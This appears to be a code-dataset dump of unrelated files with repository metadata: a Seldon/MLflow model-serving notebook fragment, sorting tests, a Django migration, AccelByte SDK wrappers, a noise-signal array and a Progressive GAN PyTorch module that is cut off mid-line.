sc.predict(gateway="ambassador", transport="rest", shape=(1, 11)) print(r) assert r.success == True # ### gRPC Requests # In[ ]: X = get_ipython().getoutput('cd ../executor/proto && grpcurl -d \'{"data":{"ndarray":[[0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8,0.9,1.0,1.1]]}}\' -rpc-header seldon:mlflow -rpc-header namespace:seldon -plaintext -proto ./prediction.proto 0.0.0.0:8003 seldon.protos.Seldon/Predict') d=json.loads("".join(X)) print(d) # In[ ]: r = sc.predict(gateway="ambassador", transport="grpc", shape=(1, 11)) print(r) assert r.success == True # In[ ]: get_ipython().system('kubectl delete -f ./resources/elasticnet_wine.yaml') # ## MLFlow kfserving v2 protocol # In[ ]: get_ipython().run_cell_magic('writefile', './resources/elasticnet_wine_v2.yaml', 'apiVersion: machinelearning.seldon.io/v1alpha2\nkind: SeldonDeployment\nmetadata:\n name: mlflow\nspec:\n protocol: kfserving # Activate v2 protocol\n name: wines\n predictors:\n - graph:\n children: []\n implementation: MLFLOW_SERVER\n modelUri: gs://seldon-models/v1.10.0-dev/mlflow/elasticnet_wine\n name: classifier\n name: default\n replicas: 1') # In[ ]: get_ipython().system('kubectl apply -f ./resources/elasticnet_wine_v2.yaml') # In[ ]: get_ipython().system("kubectl rollout status deploy/$(kubectl get deploy -l seldon-deployment-id=mlflow -o jsonpath='{.items[0].metadata.name}')") # ## REST requests # In[ ]: import json import requests inference_request = { "parameters": {"content_type": "pd"}, "inputs": [ { "name": "fixed acidity", "shape": [1], "datatype": "FP32", "data": [7.4], "parameters": {"content_type": "np"}, }, { "name": "volatile acidity", "shape": [1], "datatype": "FP32", "data": [0.7000], "parameters": {"content_type": "np"}, }, { "name": "citric acidity", "shape": [1], "datatype": "FP32", "data": [0], "parameters": {"content_type": "np"}, }, { "name": "residual sugar", "shape": [1], "datatype": "FP32", "data": [1.9], "parameters": {"content_type": "np"}, }, { "name": "chlorides", "shape": [1], "datatype": "FP32", "data": [0.076], "parameters": {"content_type": "np"}, }, { "name": "free sulfur dioxide", "shape": [1], "datatype": "FP32", "data": [11], "parameters": {"content_type": "np"}, }, { "name": "total sulfur dioxide", "shape": [1], "datatype": "FP32", "data": [34], "parameters": {"content_type": "np"}, }, { "name": "density", "shape": [1], "datatype": "FP32", "data": [0.9978], "parameters": {"content_type": "np"}, }, { "name": "pH", "shape": [1], "datatype": "FP32", "data": [3.51], "parameters": {"content_type": "np"}, }, { "name": "sulphates", "shape": [1], "datatype": "FP32", "data": [0.56], "parameters": {"content_type": "np"}, }, { "name": "alcohol", "shape": [1], "datatype": "FP32", "data": [9.4], "parameters": {"content_type": "np"}, }, ], } endpoint = "http://localhost:8003/seldon/seldon/mlflow/v2/models/infer" response = requests.post(endpoint, json=inference_request) print(json.dumps(response.json(), indent=2)) assert response.ok # In[ ]: get_ipython().system('kubectl delete -f ./resources/elasticnet_wine_v2.yaml')

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a780dac3769b7b97d40de9440954a1ffc741bea5

1,667

py

Python

data_structures/sorting_algos/selection/test_selection.py

jeremyCtown/data-structures-and-algorithms

d4ba8741f858fb5298f8ce560240373fb7742e20

[ "MIT" ]

null

data_structures/sorting_algos/selection/test_selection.py

jeremyCtown/data-structures-and-algorithms

d4ba8741f858fb5298f8ce560240373fb7742e20

[ "MIT" ]

null

data_structures/sorting_algos/selection/test_selection.py

jeremyCtown/data-structures-and-algorithms

d4ba8741f858fb5298f8ce560240373fb7742e20

[ "MIT" ]

null

import pytest from selection import selection_smallest_first, selection_largest_first def test_selection_smallest_random(): """Test randomly ordered list.""" lst = [54,26,93,17,77,31,44,55,20] assert selection_smallest_first(lst) == [17, 20, 26, 31, 44, 54, 55, 77, 93] def test_selection_smallest_nearly_ordered(): """Test nearly ordered list.""" lst = [1, 2, 3, 4, 6, 7, 8, 9, 5] assert selection_smallest_first(lst) == [1, 2, 3, 4, 5, 6, 7, 8, 9] def test_selection_smallest_reverse_ordered(): """Test reverse ordered list.""" lst = [9, 8, 7, 6, 5, 4, 3, 2, 1] assert selection_smallest_first(lst) == [1, 2, 3, 4, 5, 6, 7, 8, 9] def test_selection_smallest_two_values(): """Test list with two repeated values.""" lst = [8, 3, 8, 3, 8, 3, 8, 8, 3, 3] assert selection_smallest_first(lst) == [3, 3, 3, 3, 3, 8, 8, 8, 8, 8] def test_selection_largest_random(): """Test randomly ordered list.""" lst = [54,26,93,17,77,31,44,55,20] assert selection_largest_first(lst) == [17, 20, 26, 31, 44, 54, 55, 77, 93] def test_selection_largest_nearly_ordered(): """Test nearly ordered list.""" lst = [1, 2, 3, 4, 6, 7, 8, 9, 5] assert selection_largest_first(lst) == [1, 2, 3, 4, 5, 6, 7, 8, 9] def test_selection_largest_reverse_ordered(): """Test reverse ordered list.""" lst = [9, 8, 7, 6, 5, 4, 3, 2, 1] assert selection_largest_first(lst) == [1, 2, 3, 4, 5, 6, 7, 8, 9] def test_selection_largest_two_values(): """Test list with two repeated values.""" lst = [8, 3, 8, 3, 8, 3, 8, 8, 3, 3] assert selection_largest_first(lst) == [3, 3, 3, 3, 3, 8, 8, 8, 8, 8]

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null

0

1

0

7

a785a92c11a1942b369d747626f832cdbc0d4e03

4,269

py

Python

hlwtadmin/migrations/0026_auto_20200415_1628.py

Kunstenpunt/havelovewilltravel

6a27824b4d3d8b1bf19e0bc0d0648f0f4e8abc83

[ "Apache-2.0" ]

1

2020-10-16T16:29:01.000Z

hlwtadmin/migrations/0026_auto_20200415_1628.py

Kunstenpunt/havelovewilltravel

6a27824b4d3d8b1bf19e0bc0d0648f0f4e8abc83

[ "Apache-2.0" ]

365

2020-02-03T12:46:53.000Z

2022-02-27T17:20:46.000Z

hlwtadmin/migrations/0026_auto_20200415_1628.py

Kunstenpunt/havelovewilltravel

6a27824b4d3d8b1bf19e0bc0d0648f0f4e8abc83

[ "Apache-2.0" ]

null

# Generated by Django 3.0 on 2020-04-15 14:28 import datetime from django.db import migrations, models from django.utils.timezone import utc class Migration(migrations.Migration): dependencies = [ ('hlwtadmin', '0025_auto_20200414_1705'), ] operations = [ migrations.AlterModelOptions( name='gigfinderurl', options={'ordering': ['-last_confirmed_by_musicbrainz', '-last_synchronized']}, ), migrations.AddField( model_name='historicalorganisation', name='end_date_precision', field=models.PositiveSmallIntegerField(choices=[(2, 'Precise up to the year'), (5, 'Precise up to the month'), (8, 'Precise up to the day')], default=2), ), migrations.AddField( model_name='historicalorganisation', name='start_date_precision', field=models.PositiveSmallIntegerField(choices=[(2, 'Precise up to the year'), (5, 'Precise up to the month'), (8, 'Precise up to the day')], default=2), ), migrations.AddField( model_name='historicalrelationartistartist', name='end_date_precision', field=models.PositiveSmallIntegerField(choices=[(2, 'Precise up to the year'), (5, 'Precise up to the month'), (8, 'Precise up to the day')], default=2), ), migrations.AddField( model_name='historicalrelationartistartist', name='start_date_precision', field=models.PositiveSmallIntegerField(choices=[(2, 'Precise up to the year'), (5, 'Precise up to the month'), (8, 'Precise up to the day')], default=2), ), migrations.AddField( model_name='historicalrelationorganisationorganisation', name='end_date_precision', field=models.PositiveSmallIntegerField(choices=[(2, 'Precise up to the year'), (5, 'Precise up to the month'), (8, 'Precise up to the day')], default=2), ), migrations.AddField( model_name='historicalrelationorganisationorganisation', name='start_date_precision', field=models.PositiveSmallIntegerField(choices=[(2, 'Precise up to the year'), (5, 'Precise up to the month'), (8, 'Precise up to the day')], default=2), ), migrations.AddField( model_name='organisation', name='end_date_precision', field=models.PositiveSmallIntegerField(choices=[(2, 'Precise up to the year'), (5, 'Precise up to the month'), (8, 'Precise up to the day')], default=2), ), migrations.AddField( model_name='organisation', name='start_date_precision', field=models.PositiveSmallIntegerField(choices=[(2, 'Precise up to the year'), (5, 'Precise up to the month'), (8, 'Precise up to the day')], default=2), ), migrations.AddField( model_name='relationartistartist', name='end_date_precision', field=models.PositiveSmallIntegerField(choices=[(2, 'Precise up to the year'), (5, 'Precise up to the month'), (8, 'Precise up to the day')], default=2), ), migrations.AddField( model_name='relationartistartist', name='start_date_precision', field=models.PositiveSmallIntegerField(choices=[(2, 'Precise up to the year'), (5, 'Precise up to the month'), (8, 'Precise up to the day')], default=2), ), migrations.AddField( model_name='relationorganisationorganisation', name='end_date_precision', field=models.PositiveSmallIntegerField(choices=[(2, 'Precise up to the year'), (5, 'Precise up to the month'), (8, 'Precise up to the day')], default=2), ), migrations.AddField( model_name='relationorganisationorganisation', name='start_date_precision', field=models.PositiveSmallIntegerField(choices=[(2, 'Precise up to the year'), (5, 'Precise up to the month'), (8, 'Precise up to the day')], default=2), ), migrations.AlterField( model_name='gigfinderurl', name='last_synchronized', field=models.DateTimeField(default=datetime.datetime(1970, 1, 1, 0, 0, tzinfo=utc)), ), ]

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9

a79c38b565483682aa7ad9b82c4dfb210e2d6918

372

py

Python

Uber Ludwig Examples/French-English Bilingual Pairs/txt_to_csv.py

AymaneZizi/Tutorials

e67f8d1eba0e4aa4ebb095966a215b48b1efe64a

[ "MIT" ]

559

2019-02-21T08:14:34.000Z

2022-03-30T21:47:27.000Z

Uber Ludwig Examples/French-English Bilingual Pairs/txt_to_csv.py

mehdi2019gaied/Tutorials

aa4a1735ba9d7f54e1eabdb2780bfcaf031ba90a

[ "MIT" ]

46

2019-03-02T18:42:20.000Z

2022-03-17T01:34:07.000Z

Uber Ludwig Examples/French-English Bilingual Pairs/txt_to_csv.py

mehdi2019gaied/Tutorials

aa4a1735ba9d7f54e1eabdb2780bfcaf031ba90a

[ "MIT" ]

726

2019-02-18T15:52:40.000Z

2022-03-27T22:37:54.000Z

import os import pandas as pd if __name__ == '__main__': df = pd.read_csv('/media/gilbert/948A92E98A92C760/Local_Programming/Datasets/Other/French-English Bilingual Pairs/fra.txt', sep='\t', header=None, names=['english', 'french']) df.head() df.to_csv('/media/gilbert/948A92E98A92C760/Local_Programming/Datasets/Other/French-English Bilingual Pairs/fra.csv')

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7

a7b5abc58573e6dfee77ee4b484a0ff19f1e0d5b

14,285

py

Python

accelbyte_py_sdk/api/ugc/wrappers/_admin_group.py

AccelByte/accelbyte-python-sdk

dcd311fad111c59da828278975340fb92e0f26f7

[ "MIT" ]

null

accelbyte_py_sdk/api/ugc/wrappers/_admin_group.py

AccelByte/accelbyte-python-sdk

dcd311fad111c59da828278975340fb92e0f26f7

[ "MIT" ]

1

2021-10-13T03:46:58.000Z

accelbyte_py_sdk/api/ugc/wrappers/_admin_group.py

AccelByte/accelbyte-python-sdk

dcd311fad111c59da828278975340fb92e0f26f7

[ "MIT" ]

null

# Copyright (c) 2021 AccelByte Inc. All Rights Reserved. # This is licensed software from AccelByte Inc, for limitations # and restrictions contact your company contract manager. # # Code generated. DO NOT EDIT! # template file: justice_py_sdk_codegen/__main__.py # pylint: disable=duplicate-code # pylint: disable=line-too-long # pylint: disable=missing-function-docstring # pylint: disable=missing-function-docstring # pylint: disable=missing-module-docstring # pylint: disable=too-many-arguments # pylint: disable=too-many-branches # pylint: disable=too-many-instance-attributes # pylint: disable=too-many-lines # pylint: disable=too-many-locals # pylint: disable=too-many-public-methods # pylint: disable=too-many-return-statements # pylint: disable=too-many-statements # pylint: disable=unused-import from typing import Any, Dict, List, Optional, Tuple, Union from ....core import HeaderStr from ....core import get_namespace as get_services_namespace from ....core import run_request from ....core import run_request_async from ....core import same_doc_as from ..models import ModelsCreateGroupRequest from ..models import ModelsCreateGroupResponse from ..models import ModelsPaginatedContentDownloadResponse from ..models import ModelsPaginatedGroupResponse from ..models import ResponseError from ..operations.admin_group import AdminCreateGroup from ..operations.admin_group import AdminDeleteGroup from ..operations.admin_group import AdminGetAllGroups from ..operations.admin_group import AdminGetGroup from ..operations.admin_group import AdminGetGroupContents from ..operations.admin_group import AdminUpdateGroup from ..operations.admin_group import SingleAdminDeleteGroup from ..operations.admin_group import SingleAdminGetAllGroups from ..operations.admin_group import SingleAdminGetGroup from ..operations.admin_group import SingleAdminGetGroupContents from ..operations.admin_group import SingleAdminUpdateGroup @same_doc_as(AdminCreateGroup) def admin_create_group(body: ModelsCreateGroupRequest, namespace: Optional[str] = None, x_additional_headers: Optional[Dict[str, str]] = None, **kwargs): if namespace is None: namespace, error = get_services_namespace() if error: return None, error request = AdminCreateGroup.create( body=body, namespace=namespace, ) return run_request(request, additional_headers=x_additional_headers, **kwargs) @same_doc_as(AdminCreateGroup) async def admin_create_group_async(body: ModelsCreateGroupRequest, namespace: Optional[str] = None, x_additional_headers: Optional[Dict[str, str]] = None, **kwargs): if namespace is None: namespace, error = get_services_namespace() if error: return None, error request = AdminCreateGroup.create( body=body, namespace=namespace, ) return await run_request_async(request, additional_headers=x_additional_headers, **kwargs) @same_doc_as(AdminDeleteGroup) def admin_delete_group(group_id: str, user_id: str, namespace: Optional[str] = None, x_additional_headers: Optional[Dict[str, str]] = None, **kwargs): if namespace is None: namespace, error = get_services_namespace() if error: return None, error request = AdminDeleteGroup.create( group_id=group_id, user_id=user_id, namespace=namespace, ) return run_request(request, additional_headers=x_additional_headers, **kwargs) @same_doc_as(AdminDeleteGroup) async def admin_delete_group_async(group_id: str, user_id: str, namespace: Optional[str] = None, x_additional_headers: Optional[Dict[str, str]] = None, **kwargs): if namespace is None: namespace, error = get_services_namespace() if error: return None, error request = AdminDeleteGroup.create( group_id=group_id, user_id=user_id, namespace=namespace, ) return await run_request_async(request, additional_headers=x_additional_headers, **kwargs) @same_doc_as(AdminGetAllGroups) def admin_get_all_groups(user_id: str, limit: Optional[int] = None, offset: Optional[int] = None, namespace: Optional[str] = None, x_additional_headers: Optional[Dict[str, str]] = None, **kwargs): if namespace is None: namespace, error = get_services_namespace() if error: return None, error request = AdminGetAllGroups.create( user_id=user_id, limit=limit, offset=offset, namespace=namespace, ) return run_request(request, additional_headers=x_additional_headers, **kwargs) @same_doc_as(AdminGetAllGroups) async def admin_get_all_groups_async(user_id: str, limit: Optional[int] = None, offset: Optional[int] = None, namespace: Optional[str] = None, x_additional_headers: Optional[Dict[str, str]] = None, **kwargs): if namespace is None: namespace, error = get_services_namespace() if error: return None, error request = AdminGetAllGroups.create( user_id=user_id, limit=limit, offset=offset, namespace=namespace, ) return await run_request_async(request, additional_headers=x_additional_headers, **kwargs) @same_doc_as(AdminGetGroup) def admin_get_group(group_id: str, user_id: str, namespace: Optional[str] = None, x_additional_headers: Optional[Dict[str, str]] = None, **kwargs): if namespace is None: namespace, error = get_services_namespace() if error: return None, error request = AdminGetGroup.create( group_id=group_id, user_id=user_id, namespace=namespace, ) return run_request(request, additional_headers=x_additional_headers, **kwargs) @same_doc_as(AdminGetGroup) async def admin_get_group_async(group_id: str, user_id: str, namespace: Optional[str] = None, x_additional_headers: Optional[Dict[str, str]] = None, **kwargs): if namespace is None: namespace, error = get_services_namespace() if error: return None, error request = AdminGetGroup.create( group_id=group_id, user_id=user_id, namespace=namespace, ) return await run_request_async(request, additional_headers=x_additional_headers, **kwargs) @same_doc_as(AdminGetGroupContents) def admin_get_group_contents(group_id: str, user_id: str, limit: Optional[int] = None, offset: Optional[int] = None, namespace: Optional[str] = None, x_additional_headers: Optional[Dict[str, str]] = None, **kwargs): if namespace is None: namespace, error = get_services_namespace() if error: return None, error request = AdminGetGroupContents.create( group_id=group_id, user_id=user_id, limit=limit, offset=offset, namespace=namespace, ) return run_request(request, additional_headers=x_additional_headers, **kwargs) @same_doc_as(AdminGetGroupContents) async def admin_get_group_contents_async(group_id: str, user_id: str, limit: Optional[int] = None, offset: Optional[int] = None, namespace: Optional[str] = None, x_additional_headers: Optional[Dict[str, str]] = None, **kwargs): if namespace is None: namespace, error = get_services_namespace() if error: return None, error request = AdminGetGroupContents.create( group_id=group_id, user_id=user_id, limit=limit, offset=offset, namespace=namespace, ) return await run_request_async(request, additional_headers=x_additional_headers, **kwargs) @same_doc_as(AdminUpdateGroup) def admin_update_group(body: ModelsCreateGroupRequest, group_id: str, user_id: str, namespace: Optional[str] = None, x_additional_headers: Optional[Dict[str, str]] = None, **kwargs): if namespace is None: namespace, error = get_services_namespace() if error: return None, error request = AdminUpdateGroup.create( body=body, group_id=group_id, user_id=user_id, namespace=namespace, ) return run_request(request, additional_headers=x_additional_headers, **kwargs) @same_doc_as(AdminUpdateGroup) async def admin_update_group_async(body: ModelsCreateGroupRequest, group_id: str, user_id: str, namespace: Optional[str] = None, x_additional_headers: Optional[Dict[str, str]] = None, **kwargs): if namespace is None: namespace, error = get_services_namespace() if error: return None, error request = AdminUpdateGroup.create( body=body, group_id=group_id, user_id=user_id, namespace=namespace, ) return await run_request_async(request, additional_headers=x_additional_headers, **kwargs) @same_doc_as(SingleAdminDeleteGroup) def single_admin_delete_group(group_id: str, namespace: Optional[str] = None, x_additional_headers: Optional[Dict[str, str]] = None, **kwargs): if namespace is None: namespace, error = get_services_namespace() if error: return None, error request = SingleAdminDeleteGroup.create( group_id=group_id, namespace=namespace, ) return run_request(request, additional_headers=x_additional_headers, **kwargs) @same_doc_as(SingleAdminDeleteGroup) async def single_admin_delete_group_async(group_id: str, namespace: Optional[str] = None, x_additional_headers: Optional[Dict[str, str]] = None, **kwargs): if namespace is None: namespace, error = get_services_namespace() if error: return None, error request = SingleAdminDeleteGroup.create( group_id=group_id, namespace=namespace, ) return await run_request_async(request, additional_headers=x_additional_headers, **kwargs) @same_doc_as(SingleAdminGetAllGroups) def single_admin_get_all_groups(limit: Optional[int] = None, offset: Optional[int] = None, namespace: Optional[str] = None, x_additional_headers: Optional[Dict[str, str]] = None, **kwargs): if namespace is None: namespace, error = get_services_namespace() if error: return None, error request = SingleAdminGetAllGroups.create( limit=limit, offset=offset, namespace=namespace, ) return run_request(request, additional_headers=x_additional_headers, **kwargs) @same_doc_as(SingleAdminGetAllGroups) async def single_admin_get_all_groups_async(limit: Optional[int] = None, offset: Optional[int] = None, namespace: Optional[str] = None, x_additional_headers: Optional[Dict[str, str]] = None, **kwargs): if namespace is None: namespace, error = get_services_namespace() if error: return None, error request = SingleAdminGetAllGroups.create( limit=limit, offset=offset, namespace=namespace, ) return await run_request_async(request, additional_headers=x_additional_headers, **kwargs) @same_doc_as(SingleAdminGetGroup) def single_admin_get_group(group_id: str, namespace: Optional[str] = None, x_additional_headers: Optional[Dict[str, str]] = None, **kwargs): if namespace is None: namespace, error = get_services_namespace() if error: return None, error request = SingleAdminGetGroup.create( group_id=group_id, namespace=namespace, ) return run_request(request, additional_headers=x_additional_headers, **kwargs) @same_doc_as(SingleAdminGetGroup) async def single_admin_get_group_async(group_id: str, namespace: Optional[str] = None, x_additional_headers: Optional[Dict[str, str]] = None, **kwargs): if namespace is None: namespace, error = get_services_namespace() if error: return None, error request = SingleAdminGetGroup.create( group_id=group_id, namespace=namespace, ) return await run_request_async(request, additional_headers=x_additional_headers, **kwargs) @same_doc_as(SingleAdminGetGroupContents) def single_admin_get_group_contents(group_id: str, limit: Optional[int] = None, offset: Optional[int] = None, namespace: Optional[str] = None, x_additional_headers: Optional[Dict[str, str]] = None, **kwargs): if namespace is None: namespace, error = get_services_namespace() if error: return None, error request = SingleAdminGetGroupContents.create( group_id=group_id, limit=limit, offset=offset, namespace=namespace, ) return run_request(request, additional_headers=x_additional_headers, **kwargs) @same_doc_as(SingleAdminGetGroupContents) async def single_admin_get_group_contents_async(group_id: str, limit: Optional[int] = None, offset: Optional[int] = None, namespace: Optional[str] = None, x_additional_headers: Optional[Dict[str, str]] = None, **kwargs): if namespace is None: namespace, error = get_services_namespace() if error: return None, error request = SingleAdminGetGroupContents.create( group_id=group_id, limit=limit, offset=offset, namespace=namespace, ) return await run_request_async(request, additional_headers=x_additional_headers, **kwargs) @same_doc_as(SingleAdminUpdateGroup) def single_admin_update_group(body: ModelsCreateGroupRequest, group_id: str, namespace: Optional[str] = None, x_additional_headers: Optional[Dict[str, str]] = None, **kwargs): if namespace is None: namespace, error = get_services_namespace() if error: return None, error request = SingleAdminUpdateGroup.create( body=body, group_id=group_id, namespace=namespace, ) return run_request(request, additional_headers=x_additional_headers, **kwargs) @same_doc_as(SingleAdminUpdateGroup) async def single_admin_update_group_async(body: ModelsCreateGroupRequest, group_id: str, namespace: Optional[str] = None, x_additional_headers: Optional[Dict[str, str]] = None, **kwargs): if namespace is None: namespace, error = get_services_namespace() if error: return None, error request = SingleAdminUpdateGroup.create( body=body, group_id=group_id, namespace=namespace, ) return await run_request_async(request, additional_headers=x_additional_headers, **kwargs)

39.570637

227

0.720126

1,697

14,285

5.82145

0.068945

0.113574

0.08017

0.053447

0.875493

0.825185

0.812329

0.804231

0.786213

0.781962

0

0.000345

0.189009

14,285

360

228

39.680556

0.852395

0.053623

0

0.772414

1

0

1

0.037931

false

0

0.075862

0

0.265517

0

null

0

1

0

1

0

null

0

8

38fad5109a004000fd2e1b7345df5be96fc74605

238

py

Python

tests/test_util/test_filter_none_kwargs.py

u8sand/FAIRshake

8f6f3dde42de29b88e9a43bdd43f848382e3bad7

[ "Apache-2.0" ]

null

tests/test_util/test_filter_none_kwargs.py

u8sand/FAIRshake

8f6f3dde42de29b88e9a43bdd43f848382e3bad7

[ "Apache-2.0" ]

8

2018-06-05T17:01:43.000Z

2018-06-22T01:19:39.000Z

tests/test_util/test_filter_none_kwargs.py

u8sand/FAIRshake

8f6f3dde42de29b88e9a43bdd43f848382e3bad7

[ "Apache-2.0" ]

1

2018-06-06T17:22:28.000Z

from app.util.filter_none_kwargs import filter_none_kwargs def test_filter_none_kwargs(): assert filter_none_kwargs(a=None, b='c') == {'b': 'c'} assert filter_none_kwargs({'a': None, 'b': 'c'}, d=None, e='c') == {'b': 'c', 'e': 'c'}

39.666667

89

0.647059

41

238

3.487805

0.365854

0.34965

0.559441

0.307692

0.405594

0

0.121849

238

5

90

47.6

0.684211

0

0.046218

0

0.5

1

0.25

true

0

0.25

0

0.5

0

null

1

0

1

0

null

0

1

0

1

0

7

ac081d8bde20d4cb75c26ebdda39414ba815a92d

20,779

py

Python

test_signals.py

vladimirnesterov/ten-little-algorithms

8df2e90c43e29a69171a3f6e1bf75ad4cd0759b3

[ "MIT" ]

null

test_signals.py

vladimirnesterov/ten-little-algorithms

8df2e90c43e29a69171a3f6e1bf75ad4cd0759b3

[ "MIT" ]

null

test_signals.py

vladimirnesterov/ten-little-algorithms

8df2e90c43e29a69171a3f6e1bf75ad4cd0759b3

[ "MIT" ]

null

# -*- coding: utf-8 -*- """ Created on Wed May 19 11:47:55 2021 @author: Vladimir """ noise_signal = [2.7696641934421677, 4.769664193442168, 3.7696641934421677, 3.7696641934421677, 5.769664193442168, 6.769664193442168, 3.7696641934421677, 0.7696641934421677, -0.23033580655783226, -0.23033580655783226, -1.2303358065578323, -2.2303358065578323, -3.2303358065578323, -5.230335806557832, -5.230335806557832, -6.230335806557832, -6.230335806557832, -6.230335806557832, -4.230335806557832, -2.2303358065578323, 0.7696641934421677, -0.23033580655783226, -2.2303358065578323, -1.2303358065578323, 1.7696641934421677, 2.7696641934421677, 1.7696641934421677, -0.23033580655783226, 0.7696641934421677, 1.7696641934421677, 4.769664193442168, 3.7696641934421677, 1.7696641934421677, 1.7696641934421677, 2.7696641934421677, 3.7696641934421677, 3.7696641934421677, 3.7696641934421677, 4.769664193442168, 5.769664193442168, 7.769664193442168, 4.769664193442168, 0.7696641934421677, 0.7696641934421677, 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ac219555012cd1c763fa6e5095feda0ffadaeb49

24,999

py

Python

GAN/networks/PRO_GAN.py

MacroHardGang/desegan

d7cdd39c8c9de76f6d5b5a36cee3d8850b177687

[ "MIT" ]

null

GAN/networks/PRO_GAN.py

MacroHardGang/desegan

d7cdd39c8c9de76f6d5b5a36cee3d8850b177687

[ "MIT" ]

6

2018-09-15T04:44:34.000Z

2019-04-14T07:10:12.000Z

GAN/networks/PRO_GAN.py

MacroHardGang/desegan

d7cdd39c8c9de76f6d5b5a36cee3d8850b177687

[ "MIT" ]

1

2019-03-14T15:49:45.000Z

""" Module implementing GAN which will be trained using the Progressive growing technique -> https://arxiv.org/abs/1710.10196 """ import numpy as np import torch as th class Generator(th.nn.Module): """ Generator of the GAN network """ def __init__(self, depth=7, latent_size=512, use_eql=True): """ constructor for the Generator class :param depth: required depth of the Network :param latent_size: size of the latent manifold :param use_eql: whether to use equalized learning rate """ from torch.nn import ModuleList, Upsample from networks.CustomLayers import GenGeneralConvBlock, GenInitialBlock super(Generator, self).__init__() assert latent_size != 0 and ((latent_size & (latent_size - 1)) == 0), \ "latent size not a power of 2" if depth >= 4: assert latent_size >= np.power(2, depth - 4), "latent size will diminish to zero" # state of the generator: self.use_eql = use_eql self.depth = depth self.latent_size = latent_size # register the modules required for the GAN self.initial_block = GenInitialBlock(self.latent_size, use_eql=self.use_eql) # create a module list of the other required general convolution blocks self.layers = ModuleList([]) # initialize to empty list # create the ToRGB layers for various outputs: if self.use_eql: from networks.CustomLayers import _equalized_conv2d self.toRGB = lambda in_channels: \ _equalized_conv2d(in_channels, 3, (1, 1), bias=True) else: from torch.nn import Conv2d self.toRGB = lambda in_channels: Conv2d(in_channels, 3, (1, 1), bias=True) self.rgb_converters = ModuleList([self.toRGB(self.latent_size)]) # create the remaining layers for i in range(self.depth - 1): if i <= 2: layer = GenGeneralConvBlock(self.latent_size, self.latent_size, use_eql=self.use_eql) rgb = self.toRGB(self.latent_size) else: layer = GenGeneralConvBlock( int(self.latent_size // np.power(2, i - 3)), int(self.latent_size // np.power(2, i - 2)), use_eql=self.use_eql ) rgb = self.toRGB(int(self.latent_size // np.power(2, i - 2))) self.layers.append(layer) self.rgb_converters.append(rgb) # register the temporary upsampler self.temporaryUpsampler = Upsample(scale_factor=2) def forward(self, x, depth, alpha): """ forward pass of the Generator :param x: input noise :param depth: current depth from where output is required :param alpha: value of alpha for fade-in effect :return: y => output """ assert depth < self.depth, "Requested output depth cannot be produced" y = self.initial_block(x) if depth > 0: for block in self.layers[:depth - 1]: y = block(y) residual = self.rgb_converters[depth - 1](self.temporaryUpsampler(y)) straight = self.rgb_converters[depth](self.layers[depth - 1](y)) out = (alpha * straight) + ((1 - alpha) * residual) else: out = self.rgb_converters[0](y) return out class Discriminator(th.nn.Module): """ Discriminator of the GAN """ def __init__(self, height=7, feature_size=512, use_eql=True): """ constructor for the class :param height: total height of the discriminator (Must be equal to the Generator depth) :param feature_size: size of the deepest features extracted (Must be equal to Generator latent_size) :param use_eql: whether to use equalized learning rate """ from torch.nn import ModuleList, AvgPool2d from networks.CustomLayers import DisGeneralConvBlock, DisFinalBlock super(Discriminator, self).__init__() assert feature_size != 0 and ((feature_size & (feature_size - 1)) == 0), \ "latent size not a power of 2" if height >= 4: assert feature_size >= np.power(2, height - 4), "feature size cannot be produced" # create state of the object self.use_eql = use_eql self.height = height self.feature_size = feature_size self.final_block = DisFinalBlock(self.feature_size, use_eql=self.use_eql) # create a module list of the other required general convolution blocks self.layers = ModuleList([]) # initialize to empty list # create the fromRGB layers for various inputs: if self.use_eql: from networks.CustomLayers import _equalized_conv2d self.fromRGB = lambda out_channels: \ _equalized_conv2d(3, out_channels, (1, 1), bias=True) else: from torch.nn import Conv2d self.fromRGB = lambda out_channels: Conv2d(3, out_channels, (1, 1), bias=True) self.rgb_to_features = ModuleList([self.fromRGB(self.feature_size)]) # create the remaining layers for i in range(self.height - 1): if i > 2: layer = DisGeneralConvBlock( int(self.feature_size // np.power(2, i - 2)), int(self.feature_size // np.power(2, i - 3)), use_eql=self.use_eql ) rgb = self.fromRGB(int(self.feature_size // np.power(2, i - 2))) else: layer = DisGeneralConvBlock(self.feature_size, self.feature_size, use_eql=self.use_eql) rgb = self.fromRGB(self.feature_size) self.layers.append(layer) self.rgb_to_features.append(rgb) # register the temporary downSampler self.temporaryDownsampler = AvgPool2d(2) def forward(self, x, height, alpha): """ forward pass of the discriminator :param x: input to the network :param height: current height of operation (Progressive GAN) :param alpha: current value of alpha for fade-in :return: out => raw prediction values (WGAN-GP) """ assert height < self.height, "Requested output depth cannot be produced" if height > 0: residual = self.rgb_to_features[height - 1](self.temporaryDownsampler(x)) straight = self.layers[height - 1]( self.rgb_to_features[height](x) ) y = (alpha * straight) + ((1 - alpha) * residual) for block in reversed(self.layers[:height - 1]): y = block(y) else: y = self.rgb_to_features[0](x) out = self.final_block(y) return out class ConditionalDiscriminator(th.nn.Module): """ Discriminator of the GAN """ def __init__(self, height=7, feature_size=512, compressed_latent_size=128, use_eql=True): """ constructor for the class :param height: total height of the discriminator (Must be equal to the Generator depth) :param feature_size: size of the deepest features extracted (Must be equal to Generator latent_size) :param compressed_latent_size: size of the compressed version :param use_eql: whether to use equalized learning rate """ from torch.nn import ModuleList, AvgPool2d from networks.CustomLayers import DisGeneralConvBlock, ConDisFinalBlock super(ConditionalDiscriminator, self).__init__() assert feature_size != 0 and ((feature_size & (feature_size - 1)) == 0), \ "latent size not a power of 2" if height >= 4: assert feature_size >= np.power(2, height - 4), "feature size cannot be produced" # create state of the object self.use_eql = use_eql self.height = height self.feature_size = feature_size self.compressed_latent_size = compressed_latent_size self.final_block = ConDisFinalBlock(self.feature_size, self.feature_size, self.compressed_latent_size, use_eql=self.use_eql) # create a module list of the other required general convolution blocks self.layers = ModuleList([]) # initialize to empty list # create the fromRGB layers for various inputs: if self.use_eql: from networks.CustomLayers import _equalized_conv2d self.fromRGB = lambda out_channels: \ _equalized_conv2d(3, out_channels, (1, 1), bias=True) else: from torch.nn import Conv2d self.fromRGB = lambda out_channels: Conv2d(3, out_channels, (1, 1), bias=True) self.rgb_to_features = ModuleList([self.fromRGB(self.feature_size)]) # create the remaining layers for i in range(self.height - 1): if i > 2: layer = DisGeneralConvBlock( int(self.feature_size // np.power(2, i - 2)), int(self.feature_size // np.power(2, i - 3)), use_eql=self.use_eql ) rgb = self.fromRGB(int(self.feature_size // np.power(2, i - 2))) else: layer = DisGeneralConvBlock(self.feature_size, self.feature_size, use_eql=self.use_eql) rgb = 